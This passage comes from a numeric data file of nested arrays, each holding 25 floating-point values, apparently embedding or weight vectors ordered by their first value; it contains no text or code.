-0.4669692, 0.8458408, 0.8467956, -0.6284336, 0.4143692, 0.03335352, -0.829931, -0.8885102, 0.9996094, 0.3916548, 0.9521152, 0.71028408, -0.15027008, 0.33486368, 0.02747144], [-0.5094112, -0.42247432, 0.8373648, 0.19491144, 0.865672, -0.15223832, 0.6894536, -0.4068884, 0.8980652, 0.17957836, 0.6694324, 0.6037192, -0.02351278, -0.12144644, -0.6881988, -0.822338, 0.20687, 0.348452, -0.6787322, -0.6061196, 0.4247008, -0.57392008, 0.74319808, 0.4362912, -0.8064048], [-0.505584, -0.9392712, -0.23370808, 0.1666944, -0.13383784, -0.711658, 0.465342, 0.9346648, 0.8489948, 0.9424852, -0.86313, -0.0439602, -0.27715344, 0.9871468, 0.4276748, 0.9667276, 0.6719928, -0.6262356, 0.19305676, 0.4888542, 0.9891088, -0.77903352, -0.3523232, -0.55121928, -0.35047744], [-0.5004524, -0.9986096, 0.108954, -0.41636456, -0.9845896, 0.27513376, 0.6565604, 0.7189544, 0.809026, 0.6721048, 0.22607692, 0.21487004, 0.38928484, -0.16138836, 0.5960224, 0.6267534, 0.9211918, -0.2533644, -0.14942722, 0.303159, 0.6075868, -0.63376056, -0.16418312, 0.18945992, 0.49654344], [-0.5001076, -0.70424992, -0.1418072, -0.76537304, 0.73133456, -0.04057944, -0.4166172, -0.20947004, -0.8255716, 0.11641696, 0.13450936, -0.3299112, 0.8468508, -0.4330068, -0.09406472, 0.2913548, -0.2723264, -0.6618184, -0.06515082, 0.12808922, 0.30550968, -0.69565912, -0.7759828, -0.67714016, 0.9848208], [-0.49273, 0.8538, -0.67411968, 0.09584216, -0.8348752, -0.023629328, -0.821924, -0.4031184, -0.35718772, 0.10827484, -0.9070612, -0.9018684, -0.5578192, 0.39781984, 0.5663296, 0.1398389, -0.5170742, 0.497026, 0.5257572, -0.2586384, 0.9873856, 0.57254688, -0.052865536, -0.12676752, 0.60448752], [-0.4925448, -0.74255032, -0.36101272, 0.804836, 0.42182984, 0.03046198, 0.6402472, 0.27643352, 0.12206836, -0.7697408, 0.674392, 0.8776532, 0.23774928, 0.7036304, -0.00156983, -0.754448, 0.7529522, 0.837981, 0.823816, -0.6671244, -0.4194896, 0.37157912, -0.47186968, -0.9348168, 0.019660064], [-0.4925128, -0.77576616, -0.49149352, 0.67516328, 0.5059992, -0.5952888, 0.9979124, 0.1810276, 0.06818092, -0.6708124, 0.0863102, -0.5083464, 0.9504852, 0.4030908, 0.9319768, -0.7950252, 0.05310856, -0.7640942, -0.4503912, 0.19711924, 0.30062184, 0.174582, 0.349828, -0.16695008, -0.8661688], [-0.4919172, -0.38677824, -0.30685864, 0.49617208, -0.036836456, 0.914476, 0.0826878, -0.36139184, -0.4584824, -0.8795656, -0.7781768, -0.885054, 0.018051084, -0.16728864, -0.874448, 0.3135906, 0.8990124, 0.9778562, -0.18059582, -0.3042676, -0.4552512, -0.6720704, 0.004226314, 0.69992736, -0.54824352], [-0.4843496, 0.04209644, 0.12976144, 0.45125336, -0.72407352, 0.13352696, 0.7242752, 0.4160068, 0.9287416, -0.0930854, -0.025354636, 0.18205172, 0.06778664, 0.8869788, -0.8820748, 0.04863906, -0.929457, -0.08445322, 0.02471696, 0.7557498, -0.9187628, 0.53113, 0.31314856, -0.1731124, -0.9220736], [-0.481392, 0.39470872, -0.15592584, 0.942816, 0.358378, 0.4355816, -0.31863792, 0.6480392, -0.4923024, 0.14235208, 0.6685348, 0.15678396, 0.5121696, 0.0706794, -0.35130864, -0.346491, 0.2895434, -0.15177618, 0.05507702, 0.72786, 0.5580064, 0.65367592, 0.61613232, -0.853928, -0.62641016], [-0.4811532, 0.40590816, -0.72115232, 0.8938744, 0.9933224, 0.6630196, 0.4511232, 0.6077844, -0.24812772, 0.05870368, 0.35198708, -0.35677032, -0.37795816, -0.6165548, 0.6023296, -0.9719712, 0.2213572, 0.473723, 0.80798, 0.7983062, -0.8521204, -0.9174432, 0.27237768, 0.51633616, -0.79874648], [-0.4802472, 0.70581752, -0.71047512, 0.9007072, -0.9386888, 0.4274712, -0.0746582, -0.4885544, -0.2683546, 0.32411084, -0.30582312, 0.5140792, 0.6463444, -0.406774, -0.14858076, -0.3767876, 0.006322884, -0.639313, -0.0860242, 0.009299796, -0.6868036, 0.26243688, 0.79412496, 0.8667344, 0.060132216], [-0.4788332, -0.63056752, -0.60565808, 0.26920896, -0.016260304, 0.7351272, 0.07083176, 0.18026732, -0.4314276, -0.9458912, -0.9171736, 0.9819492, 0.7505668, -0.8056092, -0.29885292, 0.16771146, -0.2103978, 0.12272184, 0.15719728, 0.9923368, -0.6910668, -0.2860072, -0.8277016, 0.24513648, 0.59361712], [-0.4772224, 0.51563872, 0.22910248, -0.9639664, -0.31710672, -0.8459972, -0.3170728, -0.9779616, -0.5837444, -0.341599, -0.8944792, -0.714178, -0.39726828, 0.2066584, -0.4730116, 0.4349918, 0.5886426, 0.7216674, 0.15191654, -0.2497762, -0.6063024, 0.53909552, 0.27414512, -0.20996048, 0.9273472], [-0.4771052, -0.30326048, -0.9911776, -0.46757768, 0.059991688, -0.29483756, -0.5160788, 0.9137116, -0.005617092, -0.810574, 0.006537664, -0.765156, -0.029861852, -0.010974044, -0.7294308, 0.899129, 0.14957174, 0.5193706, 0.3823036, 0.668909, -0.13878312, 0.5940524, 0.39814728, -0.6954432, -0.23185696], [-0.4692168, 0.77143168, 0.51856032, 0.59202912, -0.6240956, -0.23784648, -0.8894652, 0.10662716, 0.6803276, 0.9134072, -0.38168128, 0.8847216, 0.4423144, -0.9759532, -0.12268864, 0.2775476, 0.17771936, 0.722263, -0.18074002, -0.4635832, 0.29318456, 0.8287968, 0.9400264, 0.42636624, 0.36728856], [-0.4581192, -0.52531664, 0.77699928, 0.66002288, -0.63538608, 0.7485704, 0.13965804, -0.4476316, -0.73748, -0.9942064, 0.33391616, 0.36341656, 0.5501416, -0.4297332, 0.8850564, -0.7711974, -0.3307606, -0.7778482, 0.5587704, 0.8930758, 0.7553424, -0.10010552, 0.6445612, -0.66311056, -0.11349944], [-0.4568388, 0.859672, -0.899884, -0.25204128, 0.67481456, 0.1384562, -0.14661704, -0.22004288, -0.32527348, -0.04073144, -0.36819516, 0.6141356, -0.07271644, 0.33882288, 0.08668268, -0.6949688, -0.2457904, -0.07043232, 0.6633812, 6.3e-05, -0.1472948, -0.33845496, 0.050272256, 0.76161856, -0.9392048], [-0.4489444, -0.79565328, -0.8329888, -0.18535536, 0.9768384, 0.31534016, 0.2560202, -0.22496236, 0.9363452, 0.37659496, -0.18325308, -0.259956, 0.8129468, -0.8294212, -0.07011028, -0.6671762, -0.765144, -0.13122072, -0.19823258, -0.06080444, 0.22871428, -0.56598904, 0.69031136, -0.37427344, 0.62852992], [-0.4474396, 0.9760032, 0.45109928, -0.9233512, 0.69256032, -0.4668976, -0.5935584, 0.07126884, 0.92662, 0.597366, 0.8424984, 0.5073028, 0.8685488, 0.7603472, 0.314434, 0.0623593, 0.09827816, 0.4650466, 0.5955126, -0.319721, 0.05378612, 0.8117664, -0.76715328, 0.67057592, -0.67247728], [-0.447074, -0.72899784, 0.017930608, 0.40042288, 0.19486456, 0.35391096, 0.986058, -0.005125772, -0.630994, 0.04434392, 0.10987288, -0.7774064, 0.9240796, 0.19735324, 0.5021244, 0.06580194, -0.8744148, 0.691933, 0.38274, -0.9889476, -0.9603392, -0.59657256, -0.20364096, 0.30452024, 0.21156328], [-0.4450096, -0.8400848, 0.218672, 0.698728, 0.029406912, 0.6923616, 0.8295904, -0.9648296, -0.477302, 0.69684, 0.4314744, 0.15468776, -0.015325216, -0.7165564, -0.91422, -0.972103, -0.5654952, 0.7718322, -0.4149686, 0.8563918, 0.4090632, -0.3176824, -0.56125576, 0.28916264, -0.8240704], [-0.4407344, 0.06944524, 0.38941328, -0.883584, -0.08793512, 0.3567508, -0.32832672, 0.7991044, 0.355706, -0.9591564, -0.25323552, -0.39393688, -0.4317712, -0.8436632, -0.7458016, -0.8718822, 0.201248, -0.8203802, 0.1243302, -0.3196256, -0.1074694, 0.9552088, -0.869332, 0.8438608, -0.77840472], [-0.4294432, 0.8611336, 0.8258128, -0.32656336, 0.006181058, -0.24875604, -0.432922, -0.662676, -0.04707952, -0.20503896, 0.25888468, -0.963512, 0.017758792, -0.28174544, -0.05050268, -0.07635376, 0.07797114, -0.4443078, 0.0966718, -0.3094096, -0.011287012, 0.49278656, 0.9752176, 0.17129608, -0.41523952], [-0.4294264, -0.8378224, -0.9044584, 0.4749588, -0.71597712, 0.16749296, 0.5693092, 0.7536592, -0.85633, 0.015537312, -0.30259656, -0.7693268, 0.29072388, 0.24212304, -0.4887636, 0.10548884, 0.3519144, 0.9854752, 0.013503238, -0.0213149, 0.5060076, 0.9102568, -0.78775104, 0.8137728, -0.9888376], [-0.4252448, -0.3152476, 0.78766968, 0.938376, 0.28022912, 0.36303488, -0.5718624, 0.7447932, 0.16384564, -0.7070956, 0.17714012, -0.5313596, -0.15585232, 0.7216116, -0.087497, -0.2167826, -0.7912014, -0.7909786, -0.08908076, -0.8069888, -0.5655884, 0.17473736, 0.32288552, 0.76019312, 0.47259344], [-0.4132588, -0.03742676, -0.8495992, -0.01093028, 0.8984816, -0.0984244, 0.9080276, -0.7659192, 0.019743296, 0.692954, 0.5565732, -0.5948292, 0.17028052, -0.08957992, -0.4492996, -0.07740884, -0.891279, -0.4172614, -0.2610956, -0.9373704, 0.32387032, -0.9322728, 0.8082544, -0.1671004, -0.8133616], [-0.406402, -0.24858544, -0.8962256, 0.43457536, 0.9813816, -0.00348489, -0.67691, 0.25192036, -0.1995374, 0.000912156, 0.11627288, 0.31243312, -0.6500884, -0.447522, -0.10568304, 0.7558526, -0.25072, -0.372199, -0.4247034, 0.2295434, -0.6896372, 0.1939028, -0.1431824, -0.2525292, -0.870512], [-0.39919504, -0.8647184, -0.581426, -0.4402812, -0.7972936, -0.031065284, 0.09551008, -0.31295244, 0.4847904, 0.0729368, -0.3737308, -0.5168616, 0.0870714, 0.7903832, 0.6866048, -0.0752892, -0.008223894, -0.627537, 0.4776646, 0.5970486, -0.04705644, -0.3398824, 0.818608, 0.889064, -0.30868944], [-0.39553816, 0.75046608, -0.005619231, 0.12182856, 0.69195448, 0.8699972, -0.28979108, 0.4388112, 0.9031276, -0.5799124, -0.821646, -0.8523292, 0.25625984, 0.7873064, 0.06089092, 0.9014334, 0.1251122, 0.6988056, 0.222574, -0.9554542, 0.496696, 0.362036, 0.9886792, -0.995424, 0.415212], [-0.38900908, 0.9885704, 0.35124568, -0.9720448, 0.54900392, -0.7903328, -0.21007496, 0.08452676, 0.5201888, -0.5811408, -0.22378092, -0.8270832, 0.6111452, -0.9432356, 0.4079976, -0.568868, -0.6722718, -0.1173161, -0.06942968, 0.2265798, -0.8216892, 0.70902016, -0.9510456, 0.8575664, -0.9341304], [-0.38094008, -0.9746992, -0.8980248, -0.065259408, 0.52933264, 0.0101174, 0.6546816, -0.7378268, -0.002791055, 0.010100052, -0.6218772, 0.0459688, 0.748298, 0.411666, -0.8604732, -0.6825398, 0.8719454, 0.419421, 0.0732678, -0.17776112, -0.10894264, -0.982084, 0.9718128, -0.9678448, -0.8730072], [-0.3804436, -0.24035528, 0.18708568, -0.31172816, -0.39483168, 0.04528708, -0.26352624, -0.38709944, -0.12563904, 0.37518724, -0.018266396, 0.09743884, 0.15075844, -0.22718724, -0.038945596, 0.0279721, 0.3099152, -0.13717038, 0.0868628, -0.017307058, 0.39139628, 0.26546872, -0.36706736, 0.2716328, -0.045854184], [-0.37764572, -0.19003624, 0.39250296, 0.5374372, -0.68419528, -0.8330596, -0.0994058, 0.4322356, -0.5059472, -0.9761608, 0.34992076, 0.8454584, -0.61659, 0.26782256, 0.33100228, 0.3296368, -0.08737688, 0.8752598, -0.6523858, -0.940141, 0.629566, 0.9215056, -0.08483256, 0.29643328, 0.67894144], [-0.36920384, -0.73025048, 0.21696824, -0.56827128, 0.35955048, -0.28905464, 0.8971552, -0.9544188, 0.7013516, -0.7158952, 0.6200364, 0.9141908, -0.6323168, -0.36046748, 0.0532254, 0.626388, 0.5316466, 0.4287318, 0.72803, -0.4754926, -0.5783076, 0.8426824, 0.3784288, -0.41444464, 0.16903808], [-0.36423952, 0.910536, 0.10455168, -0.74463456, -0.79402808, -0.22354372, -0.29540924, -0.4550384, -0.34949432, 0.4402304, 0.10582908, -0.8481812, -0.452196, -0.6774412, -0.797214, 0.8886668, -0.319878, -0.7346628, 0.16803058, -0.7372344, 0.19075408, 0.832992, -0.9069448, -0.72095328, -0.001908006], [-0.3639522, 0.21397056, -0.2185032, 0.16224736, -0.049038944, 0.1434204, 0.003365462, -0.12616736, 0.25100368, -0.29928368, 0.16112432, -0.24298532, 0.21128004, -0.12401924, 0.31472704, -0.05232178, -0.2003772, -0.3805016, -0.12956894, 0.2937596, -0.030371856, 0.29144368, -0.26819568, -0.3170836, 0.30693096], [-0.3564962, 0.030647312, 0.943392, -0.56119904, 0.27311976, -0.5392316, 0.18354088, 0.35665672, -0.6877316, -0.6759188, 0.981606, 0.32767516, -0.901406, 0.352109, 0.4307332, 0.08101382, -0.4662568, -0.7070056, 0.7970966, -0.3704682, -0.34056484, 0.2099048, 0.047132536, -0.53183752, -0.51256296], [-0.34929452, 0.11971912, -0.66193704, -0.24605024, 0.72327008, -0.4539032, -0.897284, 0.4283912, 0.7728188, 0.6894548, -0.5806572, -0.30047964, -0.699096, 0.7262424, -0.6321956, -0.3300522, 0.9321038, 0.4443802, -0.9842946, -0.750679, -0.21548496, -0.36169816, 0.8992448, 0.36208536, 0.15265568], [-0.34843032, -0.44959784, -0.3523776, 0.0682408, 0.17289688, 0.34302328, -0.6394756, -0.7429732, 0.2190414, 0.4940352, 0.6768608, 0.14216892, 0.6827372, -0.4806832, -0.6613636, 0.4907912, -0.5228942, -0.608275, 0.7805388, 0.9532426, 0.29132788, 0.9675168, -0.95864, 0.2783264, -0.896148], [-0.34674832, -0.9735344, 0.57923128, 0.68423608, -0.27467048, 0.15970864, 0.18740088, 0.6894544, 0.4799052, -0.9912672, 0.9308912, 0.21019604, 0.7886416, -0.4731912, -0.7314732, 0.5130882, -0.10505682, 0.08024388, -0.7099572, 0.3822892, -0.21969, 0.6038592, -0.9366984, -0.34263448, 0.52604208], [-0.34657268, -0.10644512, 0.70035384, -0.18971528, 0.8526112, -0.4953884, -0.12701304, 0.5985808, 0.4644968, -0.18097444, 0.09043556, -0.6753624, -0.8565428, -0.9620052, 0.4563892, 0.2746908, 0.9449662, 0.6211954, -0.8079586, -0.9990832, 0.18267304, -0.19787232, -0.8830328, 0.9153104, -0.21554072], [-0.34295656, -0.35451624, -0.34971904, -0.14454136, -0.8675952, 0.9644936, -0.65347, 0.69763, -0.4458144, -0.32541904, -0.4353316, -0.30708556, -0.791744, 0.8315156, -0.9469616, 0.6570196, 0.5836888, -0.6807582, 0.2510628, -0.6406148, 0.4891212, 0.47521784, -0.104064, 0.57162264, 0.9613344], [-0.33225056, 0.21102824, 0.21284808, -0.006272635, -0.31469568, -0.22710444, 0.27177732, -0.22985748, 0.08994788, -0.39697148, 0.12679596, -0.000723157, 0.25481548, 0.20165952, -0.23190756, 0.1424827, -0.09663408, 0.2336402, -0.3697322, -0.04728374, -0.12211648, -0.22010872, 0.37714176, -0.33810128, 0.25864288], [-0.32732088, 0.443846, 0.4702856, 0.09462472, -0.916792, -0.9244884, 0.4659484, -0.05416096, 0.819684, 0.8558308, -0.4201664, -0.3440692, -0.07885908, -0.9854088, -0.30678536, -0.6819138, 0.3863054, -0.5738638, 0.9728402, 0.9815554, 0.04980268, 0.8587232, 0.37803016, 0.26019128, -0.77827144], [-0.32042664, -0.9761584, 0.40208408, 0.50381448, -0.15759984, 0.5486408, -0.7093316, 0.4817908, 0.1092194, 0.008192348, -0.5549964, 0.08673344, 0.23770224, -0.8226076, -0.592876, 0.02670534, 0.0328125, -0.9235552, -0.9904772, 0.6955802, 0.4651484, 0.24244072, 0.44491096, 0.979964, 0.578376], [-0.31748124, -0.29520376, 0.39297656, -0.74417712, -0.3929048, -0.27944152, -0.38178096, -0.518614, -0.4445124, -0.25545208, -0.8018352, -0.22296224, -0.18481076, -0.9072656, -0.39239092, 0.7680446, -0.9675608, 0.7340698, -0.02554522, 0.457099, 0.2892956, -0.69775456, -0.8945816, 0.2041356, 0.8453352], [-0.31334172, -0.1361028, 0.73341256, 0.14271288, -0.28485336, -0.6313188, 0.05549244, 0.687442, 0.18353784, -0.5702008, 0.7615668, 0.31620084, 0.0804386, 0.9036956, 0.07609256, 0.001638625, 0.2164642, 0.05024202, -0.9137774, 0.04313734, 0.19158716, 0.47119296, -0.8394704, 0.63733672, 0.68951328], [-0.31245728, 0.23439144, 0.073979872, -0.29983, -0.25180016, 0.36005748, -0.2148282, -0.000266221, 0.035763736, 0.05094792, -0.13459412, -0.1170274, -0.24390584, -0.17416304, 0.18637356, -0.15195402, 0.05784452, -0.237649, -0.06435558, -0.2939834, 0.11536032, 0.15616744, 0.16648416, 0.13904072, 0.070153664], [-0.311682, -0.9179152, 0.64719184, -0.36789336, 0.3017144, 0.4874424, 0.7974288, -0.8956148, -0.039597696, -0.8248964, 0.6305308, 0.36210596, 0.5880228, 0.38266, 0.24033864, -0.7737942, 0.010526914, 0.5558314, 0.7093522, -0.03627364, 0.8334164, -0.049719808, -0.73849992, -0.156276, 0.73492704], [-0.31136, 0.31006544, 0.23093032, 0.37542112, 0.2021724, 0.13149604, 0.10820436, -0.28599216, -0.30942392, -0.06457364, -0.19937996, -0.17003396, 0.21892928, 0.3704814, -0.21845352, -0.1730197, -0.010557242, 0.0281424, 0.294469, -0.03368482, 0.30280424, -0.37793464, -0.12090888, -0.10428296, 0.31020928], [-0.30976536, 0.21718888, -0.12992272, -0.33863256, -0.30224368, 0.39454616, 0.14300516, -0.39053652, -0.34467668, -0.29542696, 0.25998376, 0.37226956, 0.20200932, 0.29466988, 0.11104392, 0.05537792, -0.2465706, -0.291373, -0.3703854, 0.2320754, -0.1090656, -0.37945048, -0.17460392, 0.30350784, -0.1862816], [-0.3062938, -0.071474376, 0.12423064, -0.5970848, 0.18670448, 0.39190352, -0.6746788, -0.1279026, 0.4648372, 0.836506, -0.671958, 0.6144372, 0.682954, -0.681544, 0.8655632, 0.6443836, 0.7957956, 0.5210904, -0.8722242, -0.5011504, -0.7518636, -0.76144104, -0.8679624, 0.70076848, -0.34057584], [-0.3051032, 0.31862456, 0.8612576, 0.49666056, 0.21564936, 0.4545916, 0.17208148, -0.38256556, -0.7043776, 0.9570764, 0.9642024, 0.19808828, -0.703674, 0.5533124, -0.6719936, -0.16471746, 0.205283, 0.5912752, 0.7277352, 0.8966446, 0.8887612, -0.19610984, 0.1123, -0.9300352, -0.74684736], [-0.30281636, 0.95624, -0.62687992, 0.11982256, -0.51741792, -0.36616052, 0.014973336, 0.2303348, -0.8887812, -0.09907736, -0.04186212, 0.4644044, 0.05320472, 0.39064456, -0.5314576, 0.951342, -0.5912114, -0.19710886, 0.6769188, -0.8492992, -0.04054924, -0.67021568, -0.15498384, -0.8386648, -0.26659768], [-0.30263668, 0.34886184, 0.12268872, -0.26070928, 0.11856232, -0.27585068, -0.2192544, -0.33820972, 0.36668448, 0.014662344, 0.35965396, -0.31331128, -0.031802828, -0.1802102, 0.17134752, -0.004411898, 0.2017872, -0.3048654, -0.1825538, -0.267132, -0.39549888, 0.1703568, 0.07159204, -0.024393904, 0.21138152], [-0.28878068, 0.24375184, 0.26984736, 0.44089176, 0.9289, -0.21498664, -0.4700384, 0.23064404, 0.8865084, 0.32018548, 0.7211316, 0.7533044, 0.6711208, -0.6915924, 0.9520308, 0.5408118, -0.6635438, -0.19881848, 0.6786428, -0.7030788, -0.34692492, 0.46685088, -0.58564904, 0.17215664, 0.77718896], [-0.28764908, 0.25098024, -0.857, 0.75945424, -0.064351368, 0.5000984, -0.9520128, 0.14190312, -0.9997756, 0.9321524, -0.27785532, 0.5087892, 0.235802, -0.5746736, 0.7426344, -0.05530892, 0.10274614, 0.8157696, 0.4972576, -0.4304462, 0.778116, -0.79878392, -0.8627208, -0.64007712, 0.14921352], [-0.28464276, 0.04148112, -0.31743448, 0.37227104, -0.063207168, 0.12602576, -0.0985084, -0.23738804, -0.039815112, -0.05555452, -0.18821248, 0.03323986, 0.014416112, -0.21183064, -0.20171136, -0.248616, 0.16811676, -0.06641466, -0.08321178, -0.03474712, -0.24376568, 0.036938432, -0.35747136, -0.30963128, -0.23070952], [-0.28463252, -0.944056, 0.36769152, 0.2659144, 0.9826144, 0.5415164, 0.5684112, 0.36695236, -0.8428444, -0.27216028, 0.39933496, -0.23807832, 0.023827796, -0.5012152, 0.33336972, -0.9654208, -0.5735436, 0.6970276, -0.9989124, 0.7282122, 0.12790448, 0.46140072, 0.61489496, 0.8379312, -0.21661128], [-0.28293112, -0.3734988, -0.609744, 0.5126268, 0.6418592, -0.880146, -0.6696604, 0.6692732, 0.09790444, -0.3341188, -0.23160944, 0.23732036, -0.09700312, 0.34094504, -0.32244548, -0.19479894, -0.0935501, -0.8013476, -0.4267176, -0.9866722, -0.5194248, 0.54986872, -0.67320624, -0.75071536, -0.20425984], [-0.28215936, 0.25843544, -0.22119552, 0.08166816, 0.32201696, 0.20007904, -0.1832016, -0.21954736, 0.2280988, 0.02622586, 0.31836412, -0.25346168, 0.26161276, 0.0408846, 0.19628404, 0.05582724, -0.2010396, 0.07672756, -0.2398, 0.2577854, -0.16011176, 0.037914608, -0.34815224, 0.12760096, -0.13807872], [-0.28174616, 0.19217512, 0.0643794, -0.30981112, 0.16988272, -0.013722116, -0.20973792, -0.1999698, -0.12284908, -0.09978116, -0.33015276, 0.32421068, -0.27389156, 0.037102376, -0.13891732, -0.301263, -0.348435, 0.240429, -0.06802004, -0.3857534, 0.034014224, 0.034634232, -0.2549132, 0.21320256, -0.25172808], [-0.28173668, 0.2304656, 0.22941912, 0.07373184, 0.13278888, 0.23160856, 0.035189164, 0.28245052, -0.24910196, 0.06679248, 0.20769344, -0.17072524, -0.27586644, 0.25706072, -0.13912244, -0.210179, -0.1159768, 0.3009672, -0.05606324, -0.05576308, -0.18054576, -0.35173688, 0.07000832, -0.36946448, 0.35962608], [-0.279113, -0.14703776, 0.4139684, 0.13537232, -0.1253156, 0.6453072, -0.695376, -0.8412924, -0.10484052, -0.469444, -0.5719232, 0.8697092, -0.37721116, -0.4623764, -0.613872, 0.4120566, -0.1469451, 0.2917676, 0.13571042, 0.9630362, -0.61, -0.67732984, 0.7564332, 0.37658072, -0.7979764], [-0.27848944, 0.8499168, 0.27274464, 0.76265912, -0.73301392, -0.023613364, -0.8520928, 0.4390712, 0.37126632, 0.7035604, -0.5959744, 0.03201156, -0.18813428, 0.613688, -0.5585604, -0.7735524, 0.4122672, -0.8254672, -0.09267522, 0.06283518, 0.2550838, -0.8597336, 0.43505904, 0.47938648, 0.61359408], [-0.27535944, 0.15779368, -0.38714528, -0.13443952, 0.38698472, 0.15861816, -0.26112112, 0.06898696, -0.14204492, 0.33770376, -0.19930764, 0.11363464, -0.24695776, 0.032474752, -0.07901836, 0.05578508, 0.10481778, 0.2357502, -0.02432754, 0.3310284, -0.17856288, -0.1875352, -0.14627016, -0.1462804, -0.25828192], [-0.27406196, 0.46258712, -0.09210704, -0.63396136, 0.50018, 0.7746532, 0.16772208, 0.5401748, 0.39814008, 0.5796392, 0.2989058, 0.5968884, -0.5165136, -0.7256252, 0.4469176, -0.18501742, 0.4612872, -0.5719264, 0.17888172, -0.9936454, 0.10967808, 0.57256808, 0.36058096, -0.95106, 0.43166728], [-0.26533552, -0.3894912, -0.46058224, -0.29216336, -0.63029488, 0.8315732, -0.4371068, -0.22831644, -0.6438928, -0.1412144, 0.9486976, 0.38810468, -0.37120968, -0.27441404, 0.5529036, 0.6598196, -0.4340458, 0.351006, 0.3145624, 0.691159, -0.9142104, -0.8379664, -0.659286, -0.27873216, -0.2514784], [-0.26219212, 0.16561696, 0.064668624, 0.067752384, -0.31856472, 0.06977832, 0.29983952, -0.11492008, 0.31991872, 0.25086228, 0.05737136, 0.39719876, -0.039342864, 0.29883936, 0.25975992, -0.10695618, 0.3575026, -0.21626, -0.2219078, 0.3925682, -0.31574768, -0.047379768, 0.27035032, -0.027594288, 0.14486216], [-0.2604808, 0.46405208, 0.08133864, -0.39169896, 0.9608224, -0.27490552, 0.3053426, -0.6035928, 0.9437304, 0.01411266, 0.7132236, 0.4848396, 0.028462248, -0.8525096, -0.4922412, 0.8739744, 0.468447, 0.9911136, 0.3557382, -0.9741876, -0.4850172, 0.60492744, 0.9151072, -0.8623888, 0.59513192], [-0.2594694, 0.21328512, -0.605048, -0.16075976, -0.011235432, 0.7107448, -0.6780192, -0.15438856, 0.8018596, 0.6259664, 0.7545748, -0.0625634, -0.55324, 0.7050936, -0.31074568, -0.4505738, -0.8616994, -0.3051022, -0.9757578, -0.7219212, -0.9346504, 0.64294376, -0.52351368, 0.45324624, 0.21346824], [-0.25680416, 0.03781828, -0.078263792, -0.1144172, 0.002069921, 0.17831828, 0.36339876, 0.35012684, -0.1109742, -0.20992876, -0.20391416, 0.02469754, -0.31086452, -0.15322756, 0.23094732, -0.07542172, -0.2114932, -0.2604162, 0.3778804, -0.1920179, -0.39801148, -0.22889192, -0.1918216, 0.37519672, 0.08955472], [-0.25518428, -0.08910696, 0.003409125, 0.26468752, -0.10386048, -0.23573644, 0.32104572, -0.3943672, 0.04703356, -0.18421296, 0.17975432, 0.23597812, -0.0619812, 0.09857272, 0.33668164, -0.05453592, 0.258018, 0.2120498, 0.36455, 0.07418152, -0.0768646, -0.008963272, 0.15566208, 0.16998512, -0.38728232], [-0.25280672, 0.8778, 0.1255872, 0.49034944, -0.76812624, -0.5066412, 0.36643964, 0.7329528, -0.4581888, 0.11122676, 0.35235824, -0.8840492, 0.8295404, -0.6919656, -0.5975204, 0.08676564, -0.5242096, 0.9543966, 0.3097602, 0.9138474, 0.5986504, -0.21663696, -0.37559968, 0.23757304, 0.13495672], [-0.2526702, 0.5931484, -0.56382208, 0.17629208, 0.9345344, -0.4295156, -0.8745592, 0.23916668, 0.6404376, 0.5805064, 0.5271684, -0.5001004, -0.7673608, -0.9378568, -0.8790064, 0.11143734, 0.506615, 0.2218242, -0.228746, -0.3763516, 0.9536508, -0.29606064, 0.38985568, 0.7876992, 0.33603984], [-0.25192636, -0.2700812, -0.46896232, 0.35927248, 0.067412576, 0.6910096, -0.4115368, 0.6118732, -0.7093824, -0.7524164, 0.610098, -0.33057484, -0.620014, -0.562984, -0.7666852, 0.7913108, -0.9018368, 0.7495496, 0.9081976, -0.7089638, -0.13297084, 0.51976392, -0.01709356, 0.8733712, 0.16538344], [-0.25099968, 0.27209952, 0.27703728, -0.069799344, -0.08061936, 0.05609776, 0.16186492, -0.31064904, 0.18034568, 0.19902304, 0.35106908, -0.250502, 0.32921724, 0.19809208, -0.21519132, 0.04436276, 0.3711098, 0.385298, 0.18814126, 0.2193188, 0.25079756, -0.2085736, -0.042519296, 0.28863328, -0.37613168], [-0.24894804, -0.118468, 0.15567824, -0.34921896, 0.1643308, 0.25279668, 0.36768552, 0.17995732, 0.19514192, 0.03340382, 0.27728024, -0.26404556, 0.30243076, 0.36415668, -0.33059112, -0.261658, 0.13476896, -0.1458396, 0.3006098, -0.07349296, 0.23063816, -0.32414064, -0.33177608, 0.34170984, 0.10984976], [-0.24235952, -0.047911192, -0.29612648, 0.09539608, -0.3210188, -0.033564568, 0.1469612, -0.25364824, -0.3383354, -0.33534992, 0.010740112, -0.14022636, -0.38826184, -0.3896424, 0.22318012, -0.2945268, -0.3782128, 0.2455198, -0.2596024, -0.17517956, 0.31365888, -0.36101528, 0.01162872, -0.11758056, 0.11978392], [-0.23595804, -0.25211704, 0.54658, 0.9869616, -0.8018592, 0.19400056, -0.8828312, 0.010056148, -0.32835972, -0.4572476, 0.11899768, 0.4364132, -0.4231976, -0.10730696, -0.33209088, 0.8719718, 0.5064194, 0.0348556, -0.001896938, 0.9355802, -0.7773556, -0.99124, 0.16369368, 0.65991232, -0.1219156], [-0.2334474, -0.26203376, -0.29205192, 0.058841184, 0.20281072, -0.21501228, 0.13409076, 0.037458412, -0.08148248, -0.20682132, 0.05490084, 0.15034096, -0.31787164, 0.38083076, -0.11994048, -0.03550646, 0.0180636, -0.2609968, 0.17473766, -0.16417622, 0.22882472, -0.12545776, 0.08491024, 0.22753304, 0.08118968], [-0.22357404, 0.32270376, -0.17735776, 0.34149328, -0.11474176, 0.35778056, -0.27481868, -0.06356092, -0.1387334, -0.0735644, 0.38984328, 0.22947116, 0.036069744, -0.25508412, 0.2591058, 0.3016906, 0.14620388, -0.3029966, 0.18002058, -0.2517896, 0.31758696, 0.3600676, 0.25893056, -0.22615544, -0.26911792], [-0.22051052, 0.2237, 0.39948928, 0.24310648, 0.34475192, 0.1832466, -0.27775136, 0.14920756, -0.10894592, 0.24130936, 0.0383559, -0.04502768, -0.0728604, -0.19779416, -0.10985424, 0.3608262, -0.378915, 0.3765968, -0.2272374, -0.04992454, -0.22024496, -0.24331544, 0.0646542, 0.09637448, 0.009961056], [-0.21819732, 0.06299044, 0.055574872, 0.36532424, 0.33907048, -0.09093492, 0.14826988, -0.09592316, 0.34706228, -0.017440312, 0.38386896, 0.09271704, -0.022655948, -0.28305208, -0.36542292, 0.395898, -0.008507956, -0.1755958, 0.3795082, -0.3514816, 0.2699102, 0.19647632, 0.33178448, 0.23885304, -0.30221048], [-0.21425216, 0.67233504, -0.6890884, -0.22497624, 0.49642728, 0.6448784, -0.013968588, 0.03644748, -0.7973828, -0.30456184, -0.1444554, -0.9797084, 0.8551064, 0.034934772, 0.4497644, -0.4829022, 0.9199126, 0.5030532, 